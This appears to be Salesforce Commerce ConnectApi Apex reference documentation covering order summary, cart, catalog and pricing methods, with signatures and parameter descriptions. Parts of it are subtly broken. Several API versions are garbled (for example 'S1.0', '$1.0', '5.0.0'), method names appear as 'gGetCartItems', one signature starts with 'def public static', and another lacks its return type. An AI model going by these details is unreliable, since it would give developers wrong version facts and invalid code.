**getOrderSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken)**

Get a page of order summaries with specific fields.

API Version

S1.0

Requires Chatter

No

Signature

```java
public static ConnectApi.OrderSummaryCollectionRepresentation getOrderSummaries(String webstoreId, String effectiveAccountId, List<String> fields, Integer pageSize, String pageToken)
```

Parameters

**webstoreId**
- Type: String
- ID of the webstore.
**effectiveAccountId**  
Type: String  
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

**fields**  
Type: List<String>  
List of up to 15 additional order summary fields to display in the UI in each item row. These order summary fields are returned regardless of fields specified.

- createdDate
- orderSummaryId
- orderNumber
- orderedDate
- ownerId
- status
- totalAmount

**pageSize**  
Type: Integer  
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**pageToken**  
Type: String  
Specifies the base64 encoded page token. Page tokens are returned as part of the response. If unspecified, the first page is returned.

**Return Value**  
Type: ConnectApi.OrderSummaryCollectionRepresentation

**getOrderSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken, sortOrder)**  
Get a sorted page of order summaries with specific fields.

**API Version**  
51.0

**Requires Chatter**  
No

**Signature**

```java
public static ConnectApi.OrderSummaryCollectionRepresentation getOrderSummaries(String webstoreId, String effectiveAccountId, List<String> fields, Integer pageSize, String pageToken, ConnectApi.OrderSummarySortOrder sortOrder)
```
Parameters

webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

fields
Type: List<String>
List of up to 15 additional order summary fields to display in the UI in each item row.
These order summary fields are returned regardless of fields specified.
• createdDate
• orderSummaryId
• orderNumber
• orderedDate
• ownerId
• status
• totalAmount

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

pageToken
Type: String
Specifies the base64 encoded page token. Page tokens are returned as part of the response. If unspecified, the first page is returned.

sortOrder
Type: ConnectApi.OrderSummarySortOrder
Sort order for order summaries. Values are:
• CreatedDateAsc—Sorts by the oldest created date.
• CreatedDateDesc—Sorts by the most recent created date.
• OrderedDateAsc—Sorts by the oldest ordered date.
• OrderedDateDesc—Sorts by the most recent ordered date.
If unspecified, defaults to OrderedDateDesc.
If you’re sorting by ordered date, make sure the ordered date is populated on your order summary records. A null value isn’t supported and results in an error.

Return Value
Type: ConnectApi.OrderSummaryCollectionRepresentation
getOrderSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken, sortOrder, earliestDate, latestDate)

Get a sorted page of order summaries with specific fields within a specific date range.

API Version
$1.0

Requires Chatter
No

Signature
public static ConnectApi.OrderSummaryCollectionRepresentation getOrderSummaries(String webstoreId, String effectiveAccountId, List<String> fields, Integer pageSize, String pageToken, ConnectApi.OrderSummarySortOrder sortOrder, String earliestDate, String latestDate)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

fields
Type: List<String>
List of up to 15 additional order summary fields to display in the UI in each item row.
These order summary fields are returned regardless of fields specified.
• createdDate
• orderSummaryId
• orderNumber
• orderedDate
• ownerId
• status
• totalAmount

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

pageToken
Type: String
Specifies the base64 encoded page token. Page tokens are returned as part of the response. If unspecified, the first page is returned.
**sortOrder**
Type: `ConnectApi.OrderSummarySortOrder`
Sort order for order summaries. Values are:
- `CreatedDateAsc`—Sorts by the oldest created date.
- `CreatedDateDesc`—Sorts by the most recent created date.
- `OrderedDateAsc`—Sorts by the oldest ordered date.
- `OrderedDateDesc`—Sorts by the most recent ordered date.
If unspecified, defaults to `OrderedDateDesc`.
If you’re sorting by ordered date, make sure the ordered date is populated on your order summary records. A null value isn’t supported and results in an error.

**earliestDate**
Type: `String`
Oldest created or ordered date, depending on the `sortOrder` value, for order summaries to return. Results include any orders on and after this date. Expected format is an ISO 8601 date string, for example, 2020-02-25T18:24:31.000Z.

**latestDate**
Type: `String`
Most recent created or ordered date, depending on the `sortOrder` value, for order summaries to return. Results include any orders before this date. Expected format is an ISO 8601 date string, for example, 2020-02-25T18:24:31.000Z.

Return Value
Type: `ConnectApi.OrderSummaryCollectionRepresentation`

**getOrderSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken, sortOrder, earliestDate, latestDate, ownerScoped)**
Get a sorted page of order summaries with specific fields within a specific date range and scoped to orders owned by the context user.

API Version
`51.0`

Requires Chatter
No

Signature
```
public static ConnectApi.OrderSummaryCollectionRepresentation getOrderSummaries(String webstoreId, String effectiveAccountId, List<String> fields, Integer pageSize, String pageToken, ConnectApi.OrderSummarySortOrder sortOrder, String earliestDate, String latestDate, Boolean ownerScoped)
```
Parameters

webstoreId
  Type: String
  ID of the webstore.

effectiveAccountId
  Type: String
  ID of the account for which the request is made. If null, defaults to the account ID for the context user.

fields
  Type: List<String>
  List of up to 15 additional order summary fields to display in the UI in each item row.
  These order summary fields are returned regardless of fields specified.
  • createdDate
  • orderSummaryId
  • orderNumber
  • orderedDate
  • ownerId
  • status
  • totalAmount

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

pageToken
  Type: String
  Specifies the base64 encoded page token. Page tokens are returned as part of the response. If unspecified, the first page is returned.

sortOrder
  Type: ConnectApi.OrderSummarySortOrder
  Sort order for order summaries. Values are:
  • CreatedDateAsc—Sorts by the oldest created date.
  • CreatedDateDesc—Sorts by the most recent created date.
  • OrderedDateAsc—Sorts by the oldest ordered date.
  • OrderedDateDesc—Sorts by the most recent ordered date.
  If unspecified, defaults to OrderedDateDesc.
  If you’re sorting by ordered date, make sure the ordered date is populated on your order summary records. A null value isn’t supported and results in an error.

earliestDate
  Type: String
  Oldest created or ordered date, depending on the sortOrder value, for order summaries to return. Results include any orders on and after this date. Expected format is an ISO 8601 date string, for example, 2020-02-25T18:24:31.000Z.

latestDate
  Type: String
Most recent created or ordered date, depending on the `sortOrder` value, for order summaries to return. Results include any orders before this date. Expected format is an ISO 8601 date string, for example, 2020-02-25T18:24:31.000Z.

**ownerScoped**

Type: Boolean

Specifies whether the results are scoped to orders owned by the context user (true) or to orders owned by and shared with the context user (false). If unspecified, defaults to true.

Return Value

Type: `ConnectApi.OrderSummaryCollectionRepresentation`

**CommerceCart Class**

Get, create, update, and delete carts. Get cart items, add items to carts, update and delete cart items.

**Namespace**

`ConnectApi`

**CommerceCart Methods**

These methods are for `CommerceCart`. All methods are static.

**IN THIS SECTION:**

- `addItemToCart(webstoreId, effectiveAccountId, activeCartOrId, cartItemInput)`
  Add an item to a cart.
- `addItemsToCart(webstoreId, effectiveAccountId, activeCartOrId, cartItems)`
  Add a batch of up to 100 items to a cart.
- `copyCartToWishlist(webstoreId, effectiveAccountId, activeCartOrId, cartToWishlistInput)`
  Copy the products from a cart to a wishlist.
- `createCart(webstoreId, cart)`
  Create a cart.
- `deleteCart(webstoreId, effectiveAccountId, activeCartOrId)`
  Delete a cart.
- `deleteCartItem(webstoreId, effectiveAccountId, activeCartOrId, cartItemId)`
  Delete an item from a cart.
- `getCartItems(webstoreId, effectiveAccountId, activeCartOrId)`
  Get items in a cart.
- `getCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam)`
  Get a page of items in a cart.
- `getCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam, sortParam)`
  Get a sorted page of items in a cart.
- `getCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam, pageSize)`
  Get a specified size page of items in a cart.
getCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam, pageSize, sortParam)
Get a specified size, sorted page of items in a cart.

getCartItems(webstoreId, effectiveAccountId, activeCartOrId, productFields, pageParam, pageSize, sortParam)
Get a specified size, sorted page of items filtered by product fields in a cart.

getCartSummary(webstoreId, effectiveAccountId, activeCartOrId)
Get a cart.

getOrCreateActiveCartSummary(webstoreId, effectiveAccountId, activeCartOrId)
Get a cart or create an active cart if one doesn’t exist.

setCartMessagesVisibility(webstoreId, activeCartOrId, effectiveAccountId, messageVisibility)
Set the visibility for cart messages.

updateCartItem(webstoreId, effectiveAccountId, activeCartOrId, cartItemId, cartItem)
Update an item in a cart.

addItemsToCart(webstoreId, effectiveAccountId, activeCartOrId, cartItems)
Add a batch of up to 100 items to a cart.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.BatchResult[] addItemsToCart(String webstoreId, String effectiveAccountId, String activeCartOrId, List<ConnectApi.BatchInput> cartItems)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn't Closed or PendingDelete.

cartItems
Type: List<ConnectApi.BatchInput>
The list can contain up to 100 `ConnectApi.BatchInput` objects. In the `ConnectApi.BatchInput` constructor, the input object must be `ConnectApi.CartItemInput`.

Return Value

**Type:** `ConnectApi.BatchResult[]`

The `ConnectApi.BatchResult.getResult()` method returns a `ConnectApi.CartItem` object. The returned objects correspond to each of the input objects and are returned in the same order as the input objects.

The method call fails only if an error occurs that affects the entire operation (such as a parsing failure). If an individual object causes an error, the error is embedded within the `ConnectApi.BatchResult` list.

Usage

Buyers with read access to carts can add, update, and delete items in carts.

This method respects buyer View Product entitlements and only users entitled to view product data can access it.

```java
addItemToCart(webstoreId, effectiveAccountId, activeCartOrId, cartItemInput)
```

Add an item to a cart.

**API Version**

49.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.CartItem addItemToCart(String webstoreId, String effectiveAccountId, String activeCartOrId, ConnectApi.CartItemInput cartItemInput)
```

**Parameters**

- `webstoreId`  
  **Type:** `String`  
  ID of the webstore.

- `effectiveAccountId`  
  **Type:** `String`  
  ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

- `activeCartOrId`  
  **Type:** `String`  
  ID of the cart, active, or current. The `current` value is available in version 50.0 and later and indicates a cart with a status that isn’t `Closed` or `PendingDelete`.

- `cartItemInput`  
  **Type:** `ConnectApi.CartItemInput`
A `ConnectApi.CartItemInput` object representing an item to add to the cart.

**Return Value**

Type: `ConnectApi.CartItem`

**Usage**

Buyers with read access to carts can add, update, and delete items in carts.

This method respects buyer View Product entitlements and only users entitled to view product data can access it.

**copyCartToWishlist**

Copy the products from a cart to a wishlist.

**API Version**

5.0.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.CartToWishlistResult copyCartToWishlist(String webstoreId, String effectiveAccountId, String activeCartOrId, ConnectApi.CartToWishlistInput cartToWishlistInput)
```

**Parameters**

`webstoreId`

Type: `String`  
ID of the webstore.

`effectiveAccountId`

Type: `String`  
ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

`activeCartOrId`

Type: `String`  
ID of the cart, active, or current. The `current` value is available in version 5.0.0 and later and indicates a cart with a status that isn’t `Closed` or `PendingDelete`.

`cartToWishlistInput`

Type: `ConnectApi.CartToWishlistInput`  
A `ConnectApi.CartToWishlistInput` object indicating the wishlist to copy products to.
Return Value
Type: `ConnectApi.CartToWishlistResult`

`createCart(webstoreId, cart)`
Create a cart.

API Version
49.0

Requires Chatter
No

Signature
`public static ConnectApi.CartSummary createCart(String webstoreId, ConnectApi.CartInput cart)`

Parameters
`webstoreId`
Type: `String`
ID of the webstore.

`cart`
Type: `ConnectApi.CartInput`
A `ConnectApi.CartInput` object representing a cart.

Return Value
Type: `ConnectApi.CartSummary`

Usage
Buyers with read access to carts can create and delete carts.

`deleteCart(webstoreId, effectiveAccountId, activeCartOrId)`
Delete a cart.

API Version
49.0

Requires Chatter
No
public static Void deleteCart(String webstoreID, String effectiveAccountId, String activeCartOrId)

Parameters

webstoreID
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

Return Value
Type: Void

Usage
Buyers with read access to carts can create and delete carts.

deleteCartItem(webstoreId, effectiveAccountId, activeCartOrId, cartItemId)
Delete an item from a cart.

API Version
49.0

Requires Chatter
No

Signature

deleteCartItem(String webstoreId, String effectiveAccountId, String activeCartOrId, String cartItemId)

Parameters

webstoreId
Type: String
ID of the webstore.
effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

cartItemId
Type: String
ID of the cart item.

Return Value
Type: Void

Usage
Buyers with read access to carts can add, update, and delete items in carts.

getCartItems(webstoreId, effectiveAccountId, activeCartOrId)
Get items in a cart.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.CartItemCollection getCartItems(String webstoreId, String effectiveAccountId, String activeCartOrId)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

Return Value
Type: ConnectApi.CartItemCollection

gGetCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam)
Get a page of items in a cart.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.CartItemCollection getCartItems(String webstoreId, String effectiveAccountId, String activeCartOrId, String pageParam)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

Return Value
Type: ConnectApi.CartItemCollection

gGetCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam, sortParam)
Get a sorted page of items in a cart.
API Version
49.0

Requires Chatter
No

Signature

public static ConnectApi.CartItemCollection getCartItems(String webstoreId, String effectiveAccountId, String activeCartOrId, String pageParam, ConnectApi.CartItemSortOrder sortParam)

Parameters

webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

sortParam
Type: ConnectApi.CartItemSortOrder
Sort order for items in a cart. Values are:

- CreatedDateAsc—Sorts by oldest creation date.
- CreatedDateDesc—Sorts by most recent creation date.
- NameAsc—Sorts by name in ascending alphabetical order (A–Z).
- NameDesc—Sorts by name in descending alphabetical order (Z–A).
- SalesPriceAsc—Sorts from lowest to highest negotiated price.
- SalesPriceDesc—Sorts from highest to lowest negotiated price.

If null, the default is CreatedDateDesc.

Return Value
Type: ConnectApi.CartItemCollection
getCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam, pageSize)
Get a specified size page of items in a cart.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.CartItemCollection getCartItems(String webstoreId, String effectiveAccountId, String activeCartOrId, String pageParam, Integer pageSize)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.CartItemCollection

getCartItems(webstoreId, effectiveAccountId, activeCartOrId, pageParam, pageSize, sortParam)
Get a specified size, sorted page of items in a cart.
API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.CartItemCollection getCartItems(String webstoreId, String effectiveAccountId, String activeCartOrId, String pageParam, Integer pageSize, ConnectApi.CartItemSortOrder sortParam)

Parameters

webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.CartItemSortOrder
Sort order for items in a cart. Values are:
• CreatedDateAsc—Sorts by oldest creation date.
• CreatedDateDesc—Sorts by most recent creation date.
• NameAsc—Sorts by name in ascending alphabetical order (A–Z).
• NameDesc—Sorts by name in descending alphabetical order (Z–A).
• SalesPriceAsc—Sorts from lowest to highest negotiated price.
• SalesPriceDesc—Sorts from highest to lowest negotiated price.
If null, the default is CreatedDateDesc.
Return Value
Type: `ConnectApi.CartItemCollection`

```java
public static ConnectApi.CartItemCollection getCartItems(String webstoreId, String effectiveAccountId, String activeCartOrId, String productFields, String pageParam, Integer pageSize, ConnectApi.CartItemSortOrder sortParam)
```

Get a specified size, sorted page of items filtered by product fields in a cart.

API Version
49.0

Requires Chatter
No

Signature

Parameters

`webstoreId`
Type: `String`
ID of the webstore.

`effectiveAccountId`
Type: `String`
ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

`activeCartOrId`
Type: `String`
ID of the cart, `active`, or `current`. The `current` value is available in version 50.0 and later and indicates a cart with a status that isn't `Closed` or `PendingDelete`.

`productFields`
Type: `String`
Comma-separated list of up to five product fields. Results include fields that you have access to. Some product fields (such as `productName` and `sku`) are returned even when not included in the `productFields` parameter.

`pageParam`
Type: `String`
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.
sortParam
Type: ConnectApi.CartItemSortOrder
Sort order for items in a cart. Values are:
- CreatedDateAsc—Sorts by oldest creation date.
- CreatedDateDesc—Sorts by most recent creation date.
- NameAsc—Sorts by name in ascending alphabetical order (A–Z).
- NameDesc—Sorts by name in descending alphabetical order (Z–A).
- SalesPriceAsc—Sorts from lowest to highest negotiated price.
- SalesPriceDesc—Sorts from highest to lowest negotiated price.
If null, the default is CreatedDateDesc.

Return Value
Type: ConnectApi.CartItemCollection

getCartSummary(webstoreId, effectiveAccountId, activeCartOrId)
Get a cart.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.CartSummary getCartSummary(String webstoreId, String effectiveAccountId, String activeCartOrId)

Parameters

webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete. If you specify active and there isn’t an active cart, you get an error.
getOrCreateActiveCartSummary(webstoreId, effectiveAccountId, activeCartOrId)
Get a cart or create an active cart if one doesn’t exist.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.CartSummary getOrCreateActiveCartSummary(String webstoreId, String effectiveAccountId, String activeCartOrId)

Parameters
webstoreId
Type: String
ID of the webstore.
effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.
activeCartOrId
Type: String
ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete. If you specify active and there isn’t an active cart, one is created.

Return Value
Type: ConnectApi.CartSummary

Usage
Buyers with read access to carts can create and delete carts.

setCartMessagesVisibility(webstoreId, activeCartOrId, effectiveAccountId, messageVisibility)
Set the visibility for cart messages.
API Version
50.0

Requires Chatter
No

Signature
def public static ConnectApi.CartMessagesVisibilityResult setCartMessagesVisibility(String webstoreId, String activeCartOrId, String effectiveAccountId, ConnectApi.CartMessagesVisibilityInput messageVisibility)

Parameters
  webstoreId
    Type: String
    ID of the webstore.

  activeCartOrId
    Type: String
    ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn’t Closed or PendingDelete.

  effectiveAccountId
    Type: String
    ID of the account for which the request is made. If null, defaults to the account ID for the context user.

  messageVisibility
    Type: ConnectApi.CartMessagesVisibilityInput
    A ConnectApi.CartMessagesVisibilityInput object specifying the visibility setting.

Return Value
Type: ConnectApi.CartMessagesVisibilityResult

updateCartItem(webstoreId, effectiveAccountId, activeCartOrId, cartItemId, cartItem)
Update an item in a cart.

API Version
49.0

Requires Chatter
No
public static ConnectApi.CartItem updateCartItem(String webstoreId, String effectiveAccountId, String activeCartOrId, String cartItemId, ConnectApi.CartItemInput cartItem)

Parameters
webstoreId
  Type: String
  ID of the webstore.
effectiveAccountId
  Type: String
  ID of the account for which the request is made. If null, defaults to the account ID for the context user.
activeCartOrId
  Type: String
  ID of the cart, active, or current. The current value is available in version 50.0 and later and indicates a cart with a status that isn't Closed or PendingDelete.
cartItemId
  Type: String
  ID of the cart item.
cartItem
  Type: ConnectApi.CartItemInput
  A ConnectApi.CartItemInput object representing a cart item to update.

Return Value
Type: ConnectApi.CartItem

Usage
Buyers with read access to carts can add, update, and delete items in carts.

This method respects buyer View Product entitlements and only users entitled to view product data can access it.

CommerceCatalog Class
Get products, product categories, and product category paths.

Namespace
  ConnectApi

CommerceCatalog Methods
These methods are for CommerceCatalog. All methods are static.
IN THIS SECTION:

getProduct(webstoreId, productId, effectiveAccountId, fields, excludeFields, mediaGroups, excludeMedia, excludeEntitlementDetails, excludePrimaryProductCategory)
Get a product.

getProduct(webstoreId, productId, effectiveAccountId, fields, excludeFields, mediaGroups, excludeMedia, excludeEntitlementDetails, excludePrimaryProductCategory, excludeVariationInfo, excludeAttributeSetInfo)
Get a product with variation and attribute information.

getProductCategory(webstoreId, productCategoryId, effectiveAccountId, fields, excludeFields, mediaGroups, excludeMedia)
Get a product category.

getProductCategoryPath(webstoreId, productCategoryId)
Get the product category path from the root category to the current category.

getProduct(webstoreId, productId, effectiveAccountId, fields, excludeFields, mediaGroups, excludeMedia, excludeEntitlementDetails, excludePrimaryProductCategory)
Get a product.

API Version
49.0

Available to Guest Users
51.0

Requires Chatter
No

Signature
public static ConnectApi.ProductDetail getProduct(String webstoreId, String productId, String effectiveAccountId, List<String> fields, Boolean excludeFields, List<String> mediaGroups, Boolean excludeMedia, Boolean excludeEntitlementDetails, Boolean excludePrimaryProductCategory)

Parameters

webstoreId
Type: String
ID of the webstore.

productId
Type: String
ID of the product.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

`fields`
Type: List<String>
Comma-separated list of field names.
If this list is empty or unspecified, all fields are returned. There is no limit to the number of fields you can specify. The number of fields and number of characters in the field name may affect the URL size limit. If `excludeFields` and `fields` are specified, the `excludeFields` parameter takes precedence.

`excludeFields`
Type: Boolean
Specifies whether the fields are returned (false) or not (true). If unspecified, defaults to false.

`mediaGroups`
Type: List<String>
Comma-separated list of developer names of media group records.
If this list is empty or unspecified, all media groups are returned. If `excludeMedia` and `mediaGroups` are specified, the `excludeMedia` parameter takes precedence.

`excludeMedia`
Type: Boolean
Specifies whether the media groups and default images of the product are returned (false) or not (true). If unspecified, defaults to false.

`excludeEntitlementDetails`
Type: Boolean
Specifies whether the entitlement details of the product are returned (false) or not (true). If unspecified, defaults to false.

`excludePrimaryProductCategory`
Type: Boolean
Specifies whether the primary category path of the product is returned (false) or not (true). If unspecified, defaults to false.

Return Value
Type: ConnectApi.ProductDetail

Usage
This method respects buyer View Product entitlements and only users entitled to view product data can access it.

```java
getProduct(webstoreId, productId, effectiveAccountId, fields, excludeFields, mediaGroups, excludeMedia, excludeEntitlementDetails, excludePrimaryProductCategory, excludeVariationInfo, excludeAttributeSetInfo)
```
Get a product with variation and attribute information.

API Version
50.0
Available to Guest Users
$1.0

Requires Chatter
No

Signature

```java
public static ConnectApi.ProductDetail getProduct(String webstoreId, String productId, String effectiveAccountId, List<String> fields, Boolean excludeFields, List<String> mediaGroups, Boolean excludeMedia, Boolean excludeEntitlementDetails, Boolean excludePrimaryProductCategory, Boolean excludeVariationInfo, Boolean excludeAttributeSetInfo)
```

Parameters

- **webstoreId**
  - Type: String
  - ID of the webstore.

- **productId**
  - Type: String
  - ID of the product.

- **effectiveAccountId**
  - Type: String
  - ID of the account for which the request is made. If null, defaults to the account ID for the context user.

- **fields**
  - Type: List<String>
  - Comma-separated list of field names.
  - If this list is empty or unspecified, all fields are returned. There is no limit to the number of fields you can specify. The number of fields and number of characters in the field name may affect the URL size limit. If excludeFields and fields are specified, the excludeFields parameter takes precedence.

- **excludeFields**
  - Type: Boolean
  - Specifies whether the fields are returned (false) or not (true). If unspecified, defaults to false.

- **mediaGroups**
  - Type: List<String>
  - Comma-separated list of developer names of media group records.
  - If this list is empty or unspecified, all media groups are returned. If excludeMedia and mediaGroups are specified, the excludeMedia parameter takes precedence.

- **excludeMedia**
  - Type: Boolean
  - Specifies whether the media groups and default images of the product are returned (false) or not (true). If unspecified, defaults to false.
excludeEntitlementDetails
Type: Boolean
Specifies whether the entitlement details of the product are returned (false) or not (true). If unspecified, defaults to false.

excludePrimaryProductCategory
Type: Boolean
Specifies whether the primary category path of the product is returned (false) or not (true). If unspecified, defaults to false.

excludeVariationInfo
Type: Boolean
Specifies whether the variation information for the product is returned (false) or not (true). If unspecified, defaults to false.

excludeAttributeSetInfo
Type: Boolean
Specifies whether the attribute set information for the product is returned (false) or not (true). If unspecified, defaults to false.

Return Value
Type: ConnectApi.ProductDetail

Usage
This method respects buyer View Product entitlements and only users entitled to view product data can access it.

getProductCategory(webstoreId, productCategoryId, effectiveAccountId, fields, excludeFields, mediaGroups, excludeMedia)
Get a product category.

API Version
49.0

Available to Guest Users
51.0

Requires Chatter
No

Signature
public static ConnectApi.ProductCategoryDetail getProductCategory(String webstoreId, String productCategoryId, String effectiveAccountId, List<String> fields, Boolean excludeFields, List<String> mediaGroups, Boolean excludeMedia)

Parameters
webstoreId
Type: String
ID of the webstore.

`productCategoryId`
Type: `String`
ID of the product category.

`effectiveAccountId`
Type: `String`
ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

`fields`
Type: `List<String>`
Comma-separated list of field names.

If this list is empty or unspecified, all fields are returned. There is no limit to the number of fields you can specify. The number of fields and number of characters in the field name may affect the URL size limit. If `excludeFields` and `fields` are specified, the `excludeFields` parameter takes precedence.

`excludeFields`
Type: `Boolean`
Specifies whether the fields are returned (`false`) or not (`true`). If unspecified, defaults to `false`.

`mediaGroups`
Type: `List<String>`
Comma-separated list of developer names of media group records.

If this list is empty or unspecified, all media groups are returned. If `excludeMedia` and `mediaGroups` are specified, the `excludeMedia` parameter takes precedence.

`excludeMedia`
Type: `Boolean`
Specifies whether the media groups and default images of the product are returned (`false`) or not (`true`). If unspecified, defaults to `false`.

Return Value
Type: `ConnectApi.ProductCategoryDetail`

`getProductCategoryPath(webstoreId, productCategoryID)`
Get the product category path from the root category to the current category.

API Version
49.0

Available to Guest Users
51.0

Requires Chatter
No
Signature

```java
public static ConnectApi.ProductCategoryPath getProductCategoryPath(String webstoreId, String productCategoryId)
```

Parameters

- `webstoreId`
  - Type: String
  - ID of the webstore.

- `productCategoryId`
  - Type: String
  - ID of the product category.

Return Value

Type: `ConnectApi.ProductCategoryPath`

Usage

This method respects buyer View Product entitlements and only users entitled to view product data can access it.

**CommerceStorePricing Class**

Get product prices.

**Namespace**

`ConnectApi`

**CommerceStorePricing Methods**

These methods are for `CommerceStorePricing`. All methods are static.

IN THIS SECTION:

- `getProductPrice(webstoreId, productId, effectiveAccountId)`
  - Get the list and buyer price for a product.

- `getProductPrices(webstoreId, effectiveAccountId, pricingInput)`
  - Get the price for multiple products.

**getProductPrice (webstoreId, productId, effectiveAccountId)**

Get the list and buyer price for a product.

**API Version**

49.0
public static ConnectApi.ProductPrice getProductPrice(String webstoreId, String productId, String effectiveAccountId)

Parameters

**webstoreId**
- Type: String
- ID of the webstore.

**productId**
- Type: String
- ID of the product.

**effectiveAccountId**
- Type: String
- ID of the buyer account or guest buyer profile for which the request is made.

Return Value

Type: ConnectApi.ProductPrice

Usage

This method respects buyer entitlements and only users entitled to view product and price data can access it.

To get price information, the context store and account must have 25 or fewer price books associated with them. To reduce the number of active price books for the account within the store, you can change the active status, modify valid dates, or remove assignments of price books.

getProductPrices(webstoreId, effectiveAccountId, pricingInput)

Get the price for multiple products.
Requires Chatter
No

Signature

```java
public static ConnectApi.PricingResult getProductPrices(String webstoreId, String effectiveAccountId, ConnectApi.PricingInput pricingInput)
```

Parameters

- `webstoreId`
  - Type: `String`
  - ID of the webstore.

- `effectiveAccountId`
  - Type: `String`
  - ID of the buyer account or guest buyer profile for which the request is made. If `null`, the default value is determined from context.

- `pricingInput`
  - Type: `ConnectApi.PricingInput`
  - A `ConnectApi.PricingInput` body with the list of line items to price.

Return Value

- Type: `ConnectApi.PricingResult`

Usage

This method respects buyer entitlements and only users entitled to view product and price data can access it.

To get price information, the context store and account must have 25 or fewer price books associated with them. To reduce the number of active price books for the account within the store, you can change the active status, modify valid dates, or remove assignments of price books.

**CommerceWishlist Class**

Get, create, update, and delete wishlists. Add wishlists to carts. Get wishlist items, add items to wishlists, and delete wishlist items.

**Namespace**

`ConnectApi`

**CommerceWishlist Methods**

